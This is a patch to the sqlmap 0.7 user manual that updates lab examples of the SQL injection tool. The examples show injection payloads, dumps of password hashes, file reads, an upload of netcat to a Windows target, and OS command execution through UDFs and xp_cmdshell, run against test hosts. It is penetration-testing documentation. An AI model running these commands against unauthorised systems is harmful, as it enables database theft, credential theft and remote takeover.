From 45e3ce798f72039976470e6514ec297133293845 Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and @@ -403,42 +405,34 @@ stand-alone executable.
sqlmap 0.7 release candidate 1 version can be downloaded as a -source gzip compressed file or as a -source zip compressed file.
-sqlmap can be downloaded from its -SourceForge File List page. +SourceForge File List page. It is available in various formats:
Whatever way you downloaded sqlmap, run it with --update
-option to update it to the latest stable version available on its
-SourceForge File List page.
You can also checkout the source code from the sqlmap Subversion repository to give a try to the development release:
@@ -457,8 +451,9 @@ $ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev General Public License v2. sqlmap is copyrighted by Bernardo Damele A. G. -and -Daniele Bellucci. +(2007-2009) and +Daniele Bellucci +(2006).$ python sqlmap.py -h - sqlmap/0.7rc1 + sqlmap/0.7 by Bernardo Damele A. G. <bernardo.damele@gmail.com> Usage: sqlmap.py [options] @@ -551,16 +546,15 @@ Options: --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables (opt -D) --columns Enumerate DBMS database table columns (req -T opt -D) - --dump Dump DBMS database table entries (req -T, opt -D, -C, - --start, --stop) + --dump Dump DBMS database table entries (req -T, opt -D, -C) --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate -C COL DBMS database table column to enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables - --start=LIMITSTART First table entry to dump - --stop=LIMITSTOP Last table entry to dump + --start=LIMITSTART First query output entry to retrieve + --stop=LIMITSTOP Last query output entry to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell @@ -693,7 +687,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:55] [INFO] testing MySQL @@ -706,7 +700,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [...]@@ -728,7 +722,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): @@ -749,7 +743,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -771,7 +765,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): @@ -799,7 +793,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): @@ -1110,7 +1104,7 @@ Host: 192.168.1.125:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -1126,7 +1120,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic @@ -1178,7 +1172,7 @@ Accept-language: en-us,en;q=0.5 Referer: http://www.google.com Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1195,7 +1189,7 @@ Connection: close
-sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+sqlmap/0.7 (http://sqlmap.sourceforge.net)
@@ -1317,7 +1311,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@@ -1338,7 +1332,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@@ -1519,7 +1513,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&ca
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
- -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
+ -p "user-agent" --user-agent "sqlmap/0.7 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
@@ -1659,7 +1653,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
@@ -1736,7 +1730,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1758,7 +1752,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1780,7 +1774,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2211,7 +2205,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
-User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2393,7 +2387,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" -v 1
[hh:mm:38] [INFO] testing Oracle
[hh:mm:38] [INFO] confirming Oracle
[hh:mm:38] [INFO] the back-end DBMS is Oracle
-[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:38] [INFO] query: SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION
+WHERE ROWNUM=1
[hh:mm:38] [INFO] retrieved: 10
[hh:mm:38] [INFO] performed 20 queries in 0 seconds
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
@@ -2786,11 +2781,11 @@ management system user.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
[*] debian-sys-maint [1]:
- password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+ password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
[*] root [1]:
- password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+ password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
[*] testuser [1]:
- password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+ password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
@@ -2807,12 +2802,12 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --pas
database management system users password hashes:
[*] sa [1]:
- password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
ba9930b62ee5d506955
header: 0x0100
- salt: 0e16d704
- mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
- uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+ salt: 0a16d704
+ mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
+ uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
@@ -2852,7 +2847,7 @@ CHR(114)||CHR(101)||CHR(115) OFFSET 0 LIMIT 1
[hh:mm:51] [INFO] performed 251 queries in 2 seconds
database management system users password hashes:
[*] postgres [1]:
- password hash: md5d7d880f96044b72d0bba108ace96d1e4
+ password hash: md5d7d880f96034b72d0bba108afe96c1e7
@@ -3322,7 +3317,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
-| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+| 4 | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
@@ -3376,7 +3371,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
-| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+| 4 | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull |
+----+----------------------------------------------+-------------------+
@@ -3389,7 +3384,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"1","luther","blissett"
"2","fluffy","bunny"
"3","wu","ming"
-"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header"
+"4","sqlmap/0.7 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull"
@@ -3419,7 +3414,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
-| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+| 4 | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+
@@ -3450,7 +3445,7 @@ Table: users
| 1 | luther | blissett |
| 2 | fluffy | bunny |
| 3 | wu | ming |
-| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+| 4 | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+
@@ -3540,7 +3535,7 @@ Table: users
+----+----------------------------------------------+-------------------+
| id | name | surname |
+----+----------------------------------------------+-------------------+
-| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
+| 4 | sqlmap/0.7 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny |
| 1 | luther | blisset |
| 3 | wu | ming |
@@ -3766,7 +3761,8 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql
sql> [TAB TAB]
LIMIT
-(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
+(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1))
+LIMIT 0, 1)='Y'
AND ORD(MID((%s), %d, 1)) > %d
CAST(%s AS CHAR(10000))
COUNT(%s)
@@ -3779,7 +3775,8 @@ MID((%s), %d, %d)
ORDER BY %s ASC
SELECT %s FROM %s.%s
SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)
-SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'
+SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND
+table_schema='%s'
SELECT grantee FROM information_schema.USER_PRIVILEGES
SELECT grantee, privilege_type FROM information_schema.USER_PRIVILEGES
SELECT schema_name FROM information_schema.SCHEMATA
@@ -3835,10 +3832,12 @@ table_schema=CHAR(116,101,115,116) LIMIT 2, 1
[hh:mm:48] [INFO] performed 55 queries in 0 seconds
[hh:mm:48] [INFO] the query with column names is: SELECT id, name, surname FROM test.users
[hh:mm:48] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
-[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM test.users
+[hh:mm:04] [INFO] query: SELECT IFNULL(CAST(COUNT(id) AS CHAR(10000)), CHAR(32)) FROM
+test.users
[hh:mm:04] [INFO] retrieved: 5
[hh:mm:04] [INFO] performed 13 queries in 0 seconds
-[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many entries
+[hh:mm:04] [INPUT] the SQL query that you provide can return up to 5 entries. How many
+entries
do you want to retrieve?
[a] All (default)
[#] Specific number
@@ -3853,8 +3852,8 @@ ORDER BY id ASC LIMIT 0, 1
ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: luther
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
-ORDER BY id ASC LIMIT 0, 1
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
+test.users ORDER BY id ASC LIMIT 0, 1
[hh:mm:09] [INFO] retrieved: blissett
[hh:mm:09] [INFO] performed 62 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
@@ -3865,8 +3864,8 @@ ORDER BY id ASC LIMIT 1, 1
ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: fluffy
[hh:mm:09] [INFO] performed 48 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
-ORDER BY id ASC LIMIT 1, 1
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
+test.users ORDER BY id ASC LIMIT 1, 1
[hh:mm:09] [INFO] retrieved: bunny
[hh:mm:09] [INFO] performed 41 queries in 0 seconds
[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(id AS CHAR(10000)), CHAR(32)) FROM test.users
@@ -3877,8 +3876,8 @@ ORDER BY id ASC LIMIT 2, 1
ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: wu
[hh:mm:09] [INFO] performed 20 queries in 0 seconds
-[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM test.users
-ORDER BY id ASC LIMIT 2, 1
+[hh:mm:09] [INFO] query: SELECT IFNULL(CAST(surname AS CHAR(10000)), CHAR(32)) FROM
+test.users ORDER BY id ASC LIMIT 2, 1
[hh:mm:09] [INFO] retrieved: ming
[hh:mm:10] [INFO] performed 34 queries in 0 seconds
SELECT * FROM test.users [3]:
@@ -3904,7 +3903,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql
[...]
back-end DBMS: PostgreSQL
-[10:11:42] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
+[10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
sql> SELECT COUNT(name) FROM users
[10:11:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
[10:11:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
@@ -3917,8 +3916,8 @@ SELECT COUNT(name) FROM users: '4'
sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
[10:12:35] [INFO] testing stacked queries support on parameter 'id'
[10:12:40] [INFO] the web application supports stacked queries on parameter 'id'
-[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users (id, name, surname)
-VALUES (5, 'from', 'sql shell');'
+[10:12:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users
+(id, name, surname) VALUES (5, 'from', 'sql shell');'
[10:12:40] [INFO] done
sql> SELECT COUNT(name) FROM users
[10:12:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
@@ -3951,20 +3950,22 @@ support when the back-end DBMS is PostgreSQL.
Option: --read-file
It is possible to retrieve the content of files from the underlying file -system when the back-end database management is system is either MySQL, -PostgreSQL or Microsoft SQL Server. +system when the back-end database management system is either MySQL, +PostgreSQL or Microsoft SQL Server and the session user has the needed +privileges to abuse database specific functionalities and architectural +weaknesses. The file specified can be either a text or a binary file, sqlmap will handle either cases automatically.
-The techniques implemented are detailed on the white paper +
These techniques are detailed on the white paper Advanced SQL injection to operating system full control.
-Example on a PostgreSQL 8.3.5 target:
+Example on a PostgreSQL 8.3.5 target to retrieve a text file:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --read-file \
- "C:\example.txt" -v2
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
+ --read-file "C:\example.txt" -v 2
[...]
[hh:mm:53] [INFO] the back-end DBMS is PostgreSQL
@@ -4022,45 +4023,98 @@ This is a text file
+Example on a Microsoft SQL Server 2005 Service Pack 0 target to +retrieve a binary file:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+ --read-file "C:\example.exe" --union-use -v 1
+
+[...]
+[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
+web server operating system: Windows 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:49] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
+technique
+[hh:mm:49] [INFO] confirming full inband sql injection on parameter 'name'
+[hh:mm:49] [WARNING] the target url is not affected by an exploitable full inband sql
+injection vulnerability
+[hh:mm:49] [INFO] confirming partial (single entry) inband sql injection on parameter
+'name' by appending a false condition after the parameter value
+[hh:mm:49] [INFO] the target url is affected by an exploitable partial (single entry)
+inband sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
+ALL SELECT NULL, NULL, NULL-- AND 'sjOfJ'='sjOfJ'
+
+[hh:mm:49] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:54] [INFO] the web application supports stacked queries on parameter 'name'
+[hh:mm:54] [INFO] fetching file: 'C:/example.exe'
+[hh:mm:54] [INFO] the SQL query provided returns 3 entries
+C:/example.exe file saved to: '/home/inquis/sqlmap/output/192.168.1.121/files/
+C__example.exe'
+
+[hh:mm:54] [INFO] Fetched data logged to text files under '/home/inquis/sqlmap/output/
+192.168.1.121'
+
+$ ls -l output/192.168.1.121/files/C__example.exe
+-rw-r--r-- 1 inquis inquis 2560 2009-MM-DD hh:mm output/192.168.1.121/files/C__example.exe
+
+$ file output/192.168.1.121/files/C__example.exe
+output/192.168.1.121/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit
+
+
+
+
Options: --write-file
and --dest-file
It is possible to upload a local file to the underlying file system when -the back-end database management is system is either MySQL, PostgreSQL or -Microsoft SQL Server. +the back-end database management system is either MySQL, PostgreSQL or +Microsoft SQL Server and the session user has the needed privileges to +abuse database specific functionalities and architectural weaknesses. The file specified can be either a text or a binary file, sqlmap will handle either cases automatically.
-The techniques implemented are detailed on the white paper +
These techniques are detailed on the white paper Advanced SQL injection to operating system full control.
-Example on a MySQL 5.0.67 target:
+Example on a MySQL 5.0.67 target to upload a binary UPX-compressed +file:
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --write-file \
- "/home/inquis/software/netcat/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
+$ file /tmp/nc.exe.packed
+/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
+
+$ ls -l /tmp/nc.exe.packed
+-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" --write-file \
+ "/tmp/nc.exe.packed" --dest-file "C:\WINDOWS\Temp\nc.exe" -v 1
[...]
-[01:12:29] [INFO] the back-end DBMS is MySQL
+[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
-[01:12:29] [INFO] testing stacked queries support on parameter 'id'
-[01:12:29] [INFO] detecting back-end DBMS version from its banner
-[01:12:29] [INFO] retrieved: 5.0.67
-[01:12:36] [INFO] the web application supports stacked queries on parameter 'id'
-[01:12:36] [INFO] fingerprinting the back-end DBMS operating system
-[01:12:36] [INFO] retrieved: C
-[01:12:36] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:29] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:29] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:29] [INFO] retrieved: 5.0.67
+[hh:mm:36] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:36] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:36] [INFO] retrieved: C
+[hh:mm:36] [INFO] the back-end DBMS operating system is Windows
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
-[01:12:52] [INFO] retrieved: 31744
-[01:12:52] [INFO] the file has been successfully written and its size is 31744 bytes, same
-size as the local file '/home/inquis/software/netcat/nc.exe.packed'
+[hh:mm:52] [INFO] retrieved: 31744
+[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
+same size as the local file '/tmp/nc.exe.packed'
@@ -4069,55 +4123,850 @@ size as the local file '/home/inquis/software/netcat/nc.exe.packed'
Option: --os-cmd
Options: --os-cmd
and --os-shell
TODO
+It is possible to execute arbitrary commands on the underlying operating +system when the back-end database management system is either MySQL, +PostgreSQL or Microsoft SQL Server and the session user has the needed +privileges to abuse database specific functionalities and architectural +weaknesses.
-The techniques implemented are detailed on the white paper +
On MySQL and PostgreSQL, sqlmap uploads (via the file upload functionality
+demonstrated above) a shared library (binary file) containing two
+user-defined functions, sys_exec()
and sys_eval()
, then
+it creates these two functions on the database and call one of them to
+execute the specified command, depending on the user's choice to display
+the standard output or not.
+On Microsoft SQL Server, sqlmap abuses the xp_cmshell
stored
+procedure: if it's disable sqlmap re-enables it, if it does not exist,
+sqlmap creates it from scratch.
If the user wants to retrieve the command standard output, sqlmap will use +one of the enumeration SQL injection techniques (blind or inband) to +retrieve it, viceversa sqlmap will use the stacked query SQL injection +technique to execute the command without returning anything to the user.
+ +These techniques are detailed on the white paper Advanced SQL injection to operating system full control.
+It is possible to specify a single command to be executed with the
+--os-cmd
option.
Example on a PostgreSQL 8.3.5 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.aspx?id=1" \
+ --os-cmd "whoami" -v 1
-Option: --os-shell
+[...]
+[hh:mm:05] [INFO] the back-end DBMS is PostgreSQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: PostgreSQL
-TODO
+[hh:mm:05] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:05] [INFO] detecting back-end DBMS version from its banner
+[hh:mm:05] [INFO] retrieved: 8.3.5,
+[hh:mm:15] [INFO] the web application supports stacked queries on parameter 'id'
+[hh:mm:15] [INFO] fingerprinting the back-end DBMS operating system
+[hh:mm:15] [INFO] retrieved: 1
+[hh:mm:16] [INFO] the back-end DBMS operating system is Windows
+[hh:mm:16] [INFO] testing if current user is DBA
+[hh:mm:16] [INFO] retrieved: 1
+[hh:mm:16] [INFO] checking if sys_exec UDF already exist
+[hh:mm:16] [INFO] retrieved: 0
+[hh:mm:18] [INFO] checking if sys_eval UDF already exist
+[hh:mm:18] [INFO] retrieved: 0
+[hh:mm:20] [INFO] creating sys_exec UDF from the binary UDF file
+[hh:mm:20] [INFO] creating sys_eval UDF from the binary UDF file
+do you want to retrieve the command standard output? [Y/n]
+[hh:mm:35] [INFO] retrieved: w2k3dev\postgres
+command standard output: 'w2k3dev\postgres'
+
+
+
-The techniques implemented are detailed on the white paper -Advanced SQL injection to operating system full control.
+Example on a Microsoft SQL Server 2005 Service Pack 0 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/iis/get_str2.asp?name=luther" \
+ --os-cmd "whoami" --union-use -v 1
+
+[...]
+[hh:mm:58] [INFO] the back-end DBMS is Microsoft SQL Server
+web server operating system: Windows 2000
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP
+back-end DBMS: Microsoft SQL Server 2005
+
+[hh:mm:58] [INFO] testing inband sql injection on parameter 'name' with NULL bruteforcing
+technique
+[hh:mm:58] [INFO] confirming full inband sql injection on parameter 'name'
+[hh:mm:58] [WARNING] the target url is not affected by an exploitable full inband sql
+injection vulnerability
+[hh:mm:58] [INFO] confirming partial (single entry) inband sql injection on parameter 'name'
+by appending a false condition after the parameter value
+[hh:mm:58] [INFO] the target url is affected by an exploitable partial (single entry) inband
+sql injection vulnerability
+valid union: 'http://192.168.1.121:80/sqlmap/mssql/iis/get_str2.asp?name=luther' UNION
+ALL SELECT NULL, NULL, NULL-- AND 'SonLv'='SonLv'
+
+[hh:mm:58] [INFO] testing stacked queries support on parameter 'name'
+[hh:mm:03] [INFO] the web application supports stacked queries on parameter 'name'
+[hh:mm:03] [INFO] testing if current user is DBA
+[hh:mm:03] [INFO] checking if xp_cmdshell extended procedure is available, wait..
+[hh:mm:09] [INFO] xp_cmdshell extended procedure is available
+do you want to retrieve the command standard output? [Y/n]
+[hh:mm:11] [INFO] the SQL query provided returns 1 entries
+command standard output:
+---
+nt authority\network service
+---
+
+
+
+
+It is also possible to simulate a real shell where you can type as many
+arbitrary commands as you wish. The option is --os-shell
and has
+the same TAB completion and history functionalities implemented for
+--sql-shell
.
Example on a MySQL 5.0.67 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.aspx?id=1" \
+ --os-shell -v 2
+
+[...]
+[hh:mm:36] [INFO] the back-end DBMS is MySQL
+web server operating system: Windows 2003 or 2008
+web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:36] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:36] [INFO] detecting back-end DBMS version from its banner
